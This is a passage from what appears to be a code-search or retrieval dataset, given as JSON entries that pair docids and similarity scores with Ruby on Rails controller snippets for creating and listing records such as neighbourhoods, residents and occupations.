"score": "0.5356911",
"text": "def neighbourhood_params\n params.require(:neighbourhood).permit(:name, :num_businesses, :home_price, :num_child_care)\n end",
"title": ""
},
{
"docid": "1e4e9a29e2301eef94db6a956459ce78",
"score": "0.5347261",
"text": "def new\n @occupant = Occupant.new\n @event = Event.find(params[:event_id])\n user = params[:user_id] ? User.find(params[:user_id]) : @current_user\n @occupant.user = user\n @occupant.status = \"Confirmed\" # set as default \n\n respond_to do |format|\n format.html { render :layout => false } # new.html.erb\n format.json { render json: @occupant }\n end\n end",
"title": ""
},
{
"docid": "43676cea6a1a4d65e30b9edaee92cfad",
"score": "0.5345987",
"text": "def create\n @neighborhood = Neighborhood.new(params[:neighborhood])\n\n respond_to do |format|\n if @neighborhood.save\n flash[:notice] = 'Neighborhood was successfully created.'\n format.html { redirect_to(@neighborhood) }\n format.xml { render :xml => @neighborhood, :status => :created, :location => @neighborhood }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @neighborhood.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1fe52d67626eecea76879dd2a30c3d37",
"score": "0.5342868",
"text": "def create\n @neighbourhood = Neighbourhood.new(neighbourhood_params)\n\n respond_to do |format|\n if @neighbourhood.save\n format.html { redirect_to @neighbourhood, notice: 'Neighbourhood was successfully created.' }\n format.json { render :show, status: :created, location: @neighbourhood }\n else\n format.html { render :new }\n format.json { render json: @neighbourhood.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "626b4ec2d76935a835889f7d97b465ef",
"score": "0.531555",
"text": "def create\n @residente = Residente.new(residente_params)\n\n respond_to do |format|\n if @residente.save\n format.html { redirect_to @residente, notice: 'Residente was successfully created.' }\n format.json { render :show, status: :created, location: @residente }\n else\n format.html { render :new }\n format.json { render json: @residente.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d49824c55eea1ce30f515c4a7732c0fe",
"score": "0.5303824",
"text": "def create\n @ministries = Ministries.new(params[:ministries])\n\n respond_to do |format|\n if @ministries.save\n flash[:notice] = 'Ministries was successfully created.'\n format.html { redirect_to(@ministries) }\n format.xml { render :xml => @ministries, :status => :created, :location => @ministries }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ministries.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4245f6c072a2e328994b50bb5b254236",
"score": "0.5281668",
"text": "def create\n @resident = Resident.new(resident_params)\n\n respond_to do |format|\n if @resident.save\n format.html { redirect_to residents_path notice: 'Resident was successfully created.' }\n format.json { render :show, status: :created, location: @resident }\n else\n format.html { render :new }\n format.json { render json: @resident.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "143698f1815cf3714c141bdd87b0e55a",
"score": "0.5272663",
"text": "def set_Occupation(value)\n set_input(\"Occupation\", value)\n end",
"title": ""
},
{
"docid": "859063d79cd41ed4279a3518349e5b1d",
"score": "0.5217346",
"text": "def create\n @new_employee_request = NewEmployeeRequest.new(params[:new_employee_request])\n\n respond_to do |format|\n if @new_employee_request.save\n format.html { redirect_to(@new_employee_request, :notice => 'New employee request was successfully created.') }\n format.xml { render :xml => @new_employee_request, :status => :created, :location => @new_employee_request }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @new_employee_request.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8b22b4f1d2b9c8b3394bdbc19f686294",
"score": "0.52163154",
"text": "def create\n @incomeclassification = Incomeclassification.new(params[:incomeclassification])\n\n respond_to do |format|\n if @incomeclassification.save\n flash[:success] = \"Income classification was successfully created.\"\n format.html { redirect_to @incomeclassification }\n format.xml { render :xml => @incomeclassification, :status => :created, :location => @incomeclassification }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @incomeclassification.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4d8e174739debf5aed46e4f5132bdd4e",
"score": "0.521034",
"text": "def create\n @frequencia_profissao = Frequencia::Profissao.new(params[:frequencia_profissao])\n\n respond_to do |format|\n if @frequencia_profissao.save\n format.html { redirect_to(@frequencia_profissao, :notice => 'Profissão salva com sucesso.') }\n format.xml { render :xml => @frequencia_profissao, :status => :created, :location => @frequencia_profissao }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @frequencia_profissao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c1c75c37abc66d329b219290e901b42e",
"score": "0.5205479",
"text": "def create\n @resident = Resident.new(resident_params)\n respond_to do |format|\n if @resident.save\n format.html { redirect_to new_resident_path, notice: 'Resident (' + @resident.name + ') was successfully created.' }\n format.json { render :show, status: :created, location: @resident }\n else\n format.html { render :new }\n format.json { render json: @resident.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0e82167f07c1524a3d472b5f7b531f09",
"score": "0.51880836",
"text": "def create\n @geoname = Geoname.new(params[:geoname])\n\n respond_to do |format|\n if @geoname.save\n flash[:notice] = 'Geoname was successfully created.'\n format.html { redirect_to(@geoname) }\n format.xml { render :xml => @geoname, :status => :created, :location => @geoname }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @geoname.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa69afa8d12e6c26a161f3946d40991f",
"score": "0.51814854",
"text": "def set_room_occupation\n @room_occupation = RoomOccupation.find(params[:id])\n end",
"title": ""
},
{
"docid": "d82144eaef5d03a44821c4ed8ecdae65",
"score": "0.5164719",
"text": "def create\n @administrative_division = AdministrativeDivision.new(params[:administrative_division])\n @countries = Country.find :all\n @geo_positions = GeoPosition.find :all\n respond_to do |format|\n if @administrative_division.save\n flash[:notice] = 'AdministrativeDivision was successfully created.'\n format.html { redirect_to(@administrative_division) }\n format.xml { render :xml => @administrative_division, :status => :created, :location => @administrative_division }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @administrative_division.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "db3faf27b79d8f9606032b1ca1b32f12",
"score": "0.515208",
"text": "def occupied_room_params\n params.require(:occupied_room).permit(:check_in, :check_out, :room_id, :reservation_id)\n end",
"title": ""
},
{
"docid": "085cf2cbbc5ace224c6a014feac8849f",
"score": "0.51291245",
"text": "def create(name=\"Default name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Post.new(@url)\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n response.body\n end",
"title": ""
},
{
"docid": "4bc121a35653eea3d0b7e7a2fad52542",
"score": "0.512192",
"text": "def create\n @profesor = Profesor.new(params[:profesor])\n\n respond_to do |format|\n if @profesor.save\n format.html { redirect_to(@profesor, :notice => 'Profesor was successfully created.') }\n format.xml { render :xml => @profesor, :status => :created, :location => @profesor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @profesor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4bc121a35653eea3d0b7e7a2fad52542",
"score": "0.512192",
"text": "def create\n @profesor = Profesor.new(params[:profesor])\n\n respond_to do |format|\n if @profesor.save\n format.html { redirect_to(@profesor, :notice => 'Profesor was successfully created.') }\n format.xml { render :xml => @profesor, :status => :created, :location => @profesor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @profesor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b8260801f62ab8ba3287f1185b03e0",
"score": "0.5115265",
"text": "def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end",
"title": ""
},
{
"docid": "035bb6acaba0196ebaf755937fb9e16d",
"score": "0.5106849",
"text": "def index\n @occupants = Occupant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @occupants }\n end\n end",
"title": ""
},
{
"docid": "17f86adbcbc2a1cb6895def6d6237a3a",
"score": "0.50911075",
"text": "def create\n @resident = Resident.new(resident_params)\n\n respond_to do |format|\n if @resident.save\n format.html { redirect_to residents_path, notice: '성공적으로 생성되었습니다.' }\n else\n format.html { render :new }\n end\n end\n end",
"title": ""
},
{
"docid": "980b58d8cbc52d15a5e5637db9dec817",
"score": "0.50817287",
"text": "def create\n @accident_assignee_expense = AccidentAssigneeExpense.new(params[:accident_assignee_expense])\n\n respond_to do |format|\n if @accident_assignee_expense.save\n format.html { redirect_to(@accident_assignee_expense, :notice => 'Accident assignee expense was successfully created.') }\n format.xml { render :xml => @accident_assignee_expense, :status => :created, :location => @accident_assignee_expense }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @accident_assignee_expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7c91613038d668ace57802bc013cda55",
"score": "0.5078457",
"text": "def create\n @partyrelationship = Partyrelationship.new(params[:partyrelationship])\n\n respond_to do |format|\n if @partyrelationship.save\n format.html { redirect_to(@partyrelationship, :notice => 'Partyrelationship was successfully created.') }\n format.xml { render :xml => @partyrelationship, :status => :created, :location => @partyrelationship }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @partyrelationship.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2084c1661e59e28cc24a1217b3f62681",
"score": "0.5077855",
"text": "def create\n @consists_of = ConsistsOf.new(consists_of_params)\n\n respond_to do |format|\n if @consists_of.save\n format.html { redirect_to @consists_of, notice: 'Consists of was successfully created.' }\n format.json { render :show, status: :created, location: @consists_of }\n else\n format.html { render :new }\n format.json { render json: @consists_of.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3b8f8fe44900eafe3e7974ae03dde557",
"score": "0.50744957",
"text": "def create\n @supervisor_estagio = SupervisorEstagio.new(params[:supervisor_estagio])\n\n respond_to do |format|\n if @supervisor_estagio.save\n flash[:notice] = 'Supervisor de Estagio cadastrado com sucesso.'\n format.html { redirect_to(@supervisor_estagio) }\n format.xml { render :xml => @supervisor_estagio, :status => :created, :location => @supervisor_estagio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @supervisor_estagio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "101aaad0e2b927b081ecd1e15ae56c26",
"score": "0.50737655",
"text": "def new\n #@building = Building.new\n #APP_CONFIG['BusinessUnit'].keys.each { |bu| @building.building_occupancies.build(:business_unit => bu, :capacity => 0) }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @building }\n end\n end",
"title": ""
},
{
"docid": "881c7da63d64fbab9ef9ec3aecf3def1",
"score": "0.50716436",
"text": "def create\n @node = Node.new(params[:node])\n\n respond_to do |format|\n if (@job.nodes << @node)\n flash[:notice] = 'Node was successfully created.'\n format.html { redirect_to job_url(@job) }\n format.xml { render :xml => @node, :status => :created, :location => @node }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "edf2fbfd6ed79125e93570f6ca8e985c",
"score": "0.5068149",
"text": "def index\n @room_occupations = RoomOccupation.all\n end",
"title": ""
},
{
"docid": "0d0f5bb37a0cff2916121793a32002c3",
"score": "0.5056607",
"text": "def create\n @hotel_expenditure = HotelExpenditure.new(hotel_expenditure_params)\n\n respond_to do |format|\n if @hotel_expenditure.save\n current_user.hotel_expenditures << @hotel_expenditure\n \n @hotel_expenditure.update_rooms()\n @hotel_expenditure.update_user_accounts(current_user)\n format.html { redirect_to @hotel_expenditure, notice: 'HotelExpenditure was successfully created.' }\n format.json { render :show, status: :created, location: @hotel_expenditure }\n else\n format.html { render :new }\n format.json { render json: @hotel_expenditure.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "329fb1105a6046eee14115b2d9203d87",
"score": "0.504222",
"text": "def create\n @lookup_ethnicity = LookupEthnicity.new(params[:lookup_ethnicity])\n\n respond_to do |format|\n if @lookup_ethnicity.save\n format.html { redirect_to(@lookup_ethnicity, :notice => 'Lookup ethnicity was successfully created.') }\n format.xml { render :xml => @lookup_ethnicity, :status => :created, :location => @lookup_ethnicity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_ethnicity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e8cc1141d372ccbb45f65671e11f7e86",
"score": "0.50408214",
"text": "def create\n @neighborhood = Neighborhood.new(params[:neighborhood])\n\n respond_to do |format|\n if @neighborhood.save\n format.html { redirect_to @neighborhood, notice: 'Neighborhood was successfully created.' }\n format.json { render json: @neighborhood, status: :created, location: @neighborhood }\n else\n format.html { render action: \"new\" }\n format.json { render json: @neighborhood.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e8cc1141d372ccbb45f65671e11f7e86",
"score": "0.50408214",
"text": "def create\n @neighborhood = Neighborhood.new(params[:neighborhood])\n\n respond_to do |format|\n if @neighborhood.save\n format.html { redirect_to @neighborhood, notice: 'Neighborhood was successfully created.' }\n format.json { render json: @neighborhood, status: :created, location: @neighborhood }\n else\n format.html { render action: \"new\" }\n format.json { render json: @neighborhood.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9b49c3c110cd66a909c70c6c2ff2975f",
"score": "0.50398034",
"text": "def create\n @internship = Internship.new(params[:internship])\n \n respond_to do |format|\n if @internship.save\n format.html { redirect_to(@internship, :notice => 'Internship was successfully created.') }\n format.xml { render :xml => @internship, :status => :created, :location => @internship }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @internship.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "95eccee1cbf07ca6877edeea720df41d",
"score": "0.5039258",
"text": "def create\n @profesor = Profesor.new(params[:profesor])\n\n respond_to do |format|\n if @profesor.save\n flash[:notice] = \" El Profesor #{@profesor.nombre_completo} fue creado exitosamente.\"\n format.html { redirect_to(@profesor) }\n format.xml { render :xml => @profesor, :status => :created, :location => @profesor }\n else\n flash[:error] = \"Hubo un error creando el profesor.\"\n format.html { render :action => \"new\" }\n format.xml { render :xml => @profesor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c7384c28215b1ead805b8ac93726a775",
"score": "0.50378543",
"text": "def create\n params.permit!\n @employeer = Employeer.new(params[:employeer])\n\n respond_to do |format|\n if @employeer.save\n format.html { redirect_to(@employeer, :notice => 'Employeer was successfully created.') }\n format.xml { render :xml => @employeer, :status => :created, :location => @employeer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @employeer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2e26ab143ebe3e39ad9f7c727ac57a23",
"score": "0.5032746",
"text": "def create\n @partenaire = Partenaire.new(params[:partenaire])\n\n respond_to do |format|\n if @partenaire.save\n flash[:notice] = 'Partenaire was successfully created.'\n format.html { redirect_to(@partenaire) }\n format.xml { render :xml => @partenaire, :status => :created, :location => @partenaire }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @partenaire.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51b99183404619beaee9f434de1714bd",
"score": "0.5030173",
"text": "def create\n @registry_employee = Registry::Employee.new(registry_employee_params)\n \n respond_to do |format|\n if @registry_employee.save\n format.html { redirect_to @registry_employee, notice: 'Empleado fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @registry_employee }\n else\n format.html { render :new }\n format.json { render json: @registry_employee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0852af444f1be28f5a4e9c89df8864f3",
"score": "0.5028176",
"text": "def create\n @room.save\n respond_with(@room, location: bnb_rooms_url(@bnb))\n end",
"title": ""
},
{
"docid": "0ed3122cb8306acd6c26e0d1e25710bb",
"score": "0.5025966",
"text": "def create\n @occasion = Occasion.new(occasion_params)\n @occasion.administrators << current_user\n respond_to do |format|\n if @occasion.save\n format.html { redirect_to @occasion, notice: 'Occasion was successfully created.' }\n format.json { render :show, status: :created, location: @occasion }\n else\n format.html { render :new }\n format.json { render json: @occasion.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5158b2759b6fd8d5ae0c213b7a703157",
"score": "0.50183696",
"text": "def create\n @resultadoconsultum = Resultadoconsultum.new(resultadoconsultum_params)\n\t\n\n\trequire 'nokogiri'\n\t\n\t@doc = Nokogiri::XML(File.open(\"exemplos/emplo.xml\"))\n\n\tcar_tires = @doc.xpath(\"//firstname\")\n\t\n\tdoc = Nokogiri::XML(File.open(\"emplo.xml\"))\n\tdoc.xpath('firstname').each do\n\t\tcar_tires\n\tend\n\n\t \n respond_to do |format|\n if @resultadoconsultum.save\n format.html { redirect_to @resultadoconsultum, notice: car_tires }\n format.json { render :show, status: :created, location: @resultadoconsultum }\n else\n format.html { render :new }\n format.json { render json: @resultadoconsultum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d709e975d6f34765bbd7b1b7baf0aea7",
"score": "0.50141084",
"text": "def index\n # To restrict so only views you occupations, see omrails, Add Associations . . ., 33:00\n @occupations = Occupation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @occupations }\n end\n end",
"title": ""
},
{
"docid": "57be72e9f574949cf3a61611eac42125",
"score": "0.5011898",
"text": "def neighbourhood_params\n params.require(:neighbourhood).permit(:neighbourhood)\n end",
"title": ""
},
{
"docid": "e95184b9fd8fd051e4603ddb2f7d40c8",
"score": "0.5010347",
"text": "def create\n @registry = @user.registries.new(registry_params)\n\n respond_to do |format|\n if @registry.save\n flash[:notice] = 'Registry was successfully created.'\n format.html { redirect_to user_registry_path(@user, @registry) }\n format.xml { render :xml => @registry, :status => :created, :location => [ @user, @registry] }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @registry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "583bf8fa922e9c138bbccef075052dbb",
"score": "0.5005295",
"text": "def create\n doc = Nokogiri::XML(request.body.read)\n bNode = doc.xpath('elwak/benutzer')\n\n @benutzer = Benutzer.new(benutzer_params(bNode))\n if @benutzer.save\n if bNode.xpath('objekt_zuordnungs').length > 0\n objekt_ids = bNode.xpath('objekt_zuordnungs/objekt_id').map{|oz| oz.text.to_s.to_i}\n @benutzer.setze_objekt_zuordnungen(objekt_ids)\n end\n success(@benutzer.id)\n else\n error(@benutzer.errors)\n end\n end",
"title": ""
},
{
"docid": "0c21b7783f916b908b99323df402f0da",
"score": "0.5005016",
"text": "def create\n @consultorio_n = ConsultorioN.new(consultorio_n_params)\n\n respond_to do |format|\n if @consultorio_n.save\n format.html { redirect_to @consultorio_n, notice: 'Consultorio n was successfully created.' }\n format.json { render :show, status: :created, location: @consultorio_n }\n else\n format.html { render :new }\n format.json { render json: @consultorio_n.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d298aa328d08c180ec8fb8d05a646cc7",
"score": "0.50029093",
"text": "def create\n @rebateable = find_rebateable\n @rebate = @rebateable.rebates.build(params[:rebate])\n @sector_names = params[:sector_names] || []\n @industry_names = params[:industry_names] || []\n @rebate.tag_names = @sector_names.join(',') + \",\" + @industry_names.join(',')\n\n respond_to do |format|\n if @rebate.save\n format.html { redirect_to :id => nil }\n format.json { render json: @rebate, status: :created, location: @rebate }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rebate.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "784eae331cc297a5964fe9647363974e",
"score": "0.5000531",
"text": "def create\n @location = Location.new(params[:location])\n @location.house = @house\n\n respond_to do |format|\n if @location.save\n flash[:notice] = 'Location was successfully created.'\n format.html { redirect_to(@location) }\n format.xml { render :xml => @location, :status => :created, :location => @location }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a3982337ca99d53235044161afbae891",
"score": "0.49946457",
"text": "def create\n @admin_neighbourhood = Admin::Neighbourhood.new(admin_neighbourhood_params)\n\n respond_to do |format|\n if @admin_neighbourhood.save\n format.html { redirect_to @admin_neighbourhood, notice: 'Neighbourhood was successfully created.' }\n format.json { render :show, status: :created, location: @admin_neighbourhood }\n else\n format.html { render :new }\n format.json { render json: @admin_neighbourhood.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aeed7b014027199b32a32c76d9b28bbc",
"score": "0.49914008",
"text": "def create\n @industry = Industry.new(industry_params)\n respond_to do |format|\n if @industry.save\n format.html { redirect_to industries_path, notice: I18n.t('commons.successfully_created') }\n format.json { render json: @industry, status: :created, location: @industry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @industry.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "65b32d47c047cb26d398f41477ad20ac",
"score": "0.49901712",
"text": "def refuge_params\n params.require(:refuge).permit(:name, :city, :adress, :capacity)\n end",
"title": ""
},
{
"docid": "943c16a65313371963f1e288c9c4eda4",
"score": "0.49885428",
"text": "def create\n @unemployment_insurance = UnemploymentInsurance.new(unemployment_insurance_params)\n\n respond_to do |format|\n if @unemployment_insurance.save\n format.html { redirect_to @unemployment_insurance, notice: 'Unemployment insurance was successfully created.' }\n format.json { render :show, status: :created, location: @unemployment_insurance }\n else\n format.html { render :new }\n format.json { render json: @unemployment_insurance.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0e7ebc95bcb24e2b04a0117dbb5d1ad4",
"score": "0.49812698",
"text": "def create\n @interno_unidad = InternoUnidad.new(interno_unidad_params)\n\n respond_to do |format|\n if @interno_unidad.save\n format.html { redirect_to @interno_unidad, notice: 'Interno unidad was successfully created.' }\n format.json { render :show, status: :created, location: @interno_unidad }\n else\n format.html { render :new }\n format.json { render json: @interno_unidad.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5a91077167f6938f9a9d0a2b73534a06",
"score": "0.4981141",
"text": "def update\n @occupation = current_user.occupations.find(params[:id])\n\n respond_to do |format|\n if @occupation.update_attributes(params[:occupation])\n format.html { redirect_to @occupation, notice: 'Occupation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @occupation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ba0a1fe19759bb4022d72592e6e129ea",
"score": "0.49802902",
"text": "def create\n @frequencia_orgao = Frequencia::Orgao.new(params[:frequencia_orgao])\n\n respond_to do |format|\n if @frequencia_orgao.save\n format.html { redirect_to(@frequencia_orgao, :notice => 'Orgão criado com sucesso.') }\n format.xml { render :xml => @frequencia_orgao, :status => :created, :location => @frequencia_orgao }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @frequencia_orgao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "628a147f44e4167c5917d4c9c724367a",
"score": "0.49799544",
"text": "def create\n @pneighbour = Pneighbour.new(params[:pneighbour])\n\n respond_to do |format|\n if @pneighbour.save\n format.html { redirect_to(@pneighbour, :notice => 'Pneighbour was successfully created.') }\n format.xml { render :xml => @pneighbour, :status => :created, :location => @pneighbour }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @pneighbour.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "04cc584ce867eec409cc7dedfe712851",
"score": "0.49758983",
"text": "def create\n @occasion = Occasion.new(occasion_params)\n\n respond_to do |format|\n if @occasion.save\n format.html { redirect_to [:admin, @occasion], notice: 'Occasion was successfully created.' }\n format.json { render :show, status: :created, location: @occasion }\n else\n format.html { render :new }\n format.json { render json: @occasion.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1e6f0a128fe4491f618cb43316efc764",
"score": "0.49756685",
"text": "def create\n @partner_coordinator_association = PartnerCoordinatorAssociation.new(params[:partner_coordinator_association])\n\n respond_to do |format|\n if @partner_coordinator_association.save\n flash[:notice] = 'PartnerCoordinatorAssociation was successfully created.'\n format.html { redirect_to([:admin, @partner_coordinator_association]) }\n format.xml { render :xml => @partner_coordinator_association, :status => :created, :location => @partner_coordinator_association }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @partner_coordinator_association.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ae96ec187682609e3d1d5232d77007b",
"score": "0.49750808",
"text": "def create\n @operating_expense = OperatingExpense.new(params[:operating_expense])\n\n respond_to do |format|\n if @operating_expense.save\n format.html { redirect_to(@operating_expense, :notice => 'Operating expense was successfully created.') }\n format.xml { render :xml => @operating_expense, :status => :created, :location => @operating_expense }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @operating_expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d73a275618016f7213e9493921cf049f",
"score": "0.49641758",
"text": "def create\n @accident_vehicle_expense = AccidentVehicleExpense.new(params[:accident_vehicle_expense])\n\n respond_to do |format|\n if @accident_vehicle_expense.save\n format.html { redirect_to(@accident_vehicle_expense, :notice => 'Accident vehicle expense was successfully created.') }\n format.xml { render :xml => @accident_vehicle_expense, :status => :created, :location => @accident_vehicle_expense }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @accident_vehicle_expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "40af4ed627c2fe9f5bcb6965ff4438ab",
"score": "0.49622303",
"text": "def create\n @encounter_enemy = EncounterEnemy.new(params[:encounter_enemy])\n\n respond_to do |format|\n if @encounter_enemy.save\n format.html { redirect_to(@encounter_enemy.encounter.adventure, :notice => 'Encounter enemy was successfully created.') }\n format.xml { render :xml => @encounter_enemy, :status => :created, :location => @encounter_enemy }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @encounter_enemy.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8f833b395b2ef171eefb9778807529a0",
"score": "0.49618727",
"text": "def create\n @gallion = Gallion.new(params[:gallion])\n\n respond_to do |format|\n if @gallion.save\n format.html { redirect_to(@gallion, :notice => 'Gallion was successfully created.') }\n format.xml { render :xml => @gallion, :status => :created, :location => @gallion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @gallion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2e02e019f612dffa42c9b191b645fd28",
"score": "0.49602222",
"text": "def create\n @cabo_eleitoral = CaboEleitoral.new(params[:cabo_eleitoral])\n @cabo_eleitoral.pessoa = Pessoa.new(params[:pessoa]) \n \n respond_to do |format|\n if @cabo_eleitoral.save\n format.html { redirect_to(@cabo_eleitoral, :notice => ' - Cabo eleitoral cadastrado com sucesso.') }\n format.xml { render :xml => @cabo_eleitoral, :status => :created, :location => @cabo_eleitoral }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cabo_eleitoral.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "009d6241acfb9d6930066b19f79bd9e9",
"score": "0.49594426",
"text": "def create\n @employeebankmaster = Employeebankmaster.new(params[:employeebankmaster])\n\n respond_to do |format|\n if @employeebankmaster.save\n format.html { redirect_to(@employeebankmaster, :notice => 'Employeebankmaster was successfully created.') }\n format.xml { render :xml => @employeebankmaster, :status => :created, :location => @employeebankmaster }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @employeebankmaster.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b45ac91e0160dac99a434e109749eed6",
"score": "0.49588734",
"text": "def resident_params\n params.require(:resident).permit(:house_number, :road, :email_address)\n end",
"title": ""
},
{
"docid": "448a87776bb4eb19cd48be6d02a1154e",
"score": "0.49567997",
"text": "def create\n @ocupation = Ocupation.new(params[:ocupation])\n\n respond_to do |format|\n if @ocupation.save\n format.html { redirect_to(@ocupation, :notice => 'Ocupation was successfully created.') }\n format.xml { render :xml => @ocupation, :status => :created, :location => @ocupation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ocupation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8664d59a3a54fa6a8e31ba9af1ef3c07",
"score": "0.49499854",
"text": "def create\n @estagio = Estagio.new(params[:estagio])\n\n respond_to do |format|\n if @estagio.save\n flash[:notice] = 'Estagio was successfully created.'\n format.html { redirect_to(@estagio) }\n format.xml { render :xml => @estagio, :status => :created, :location => @estagio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estagio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
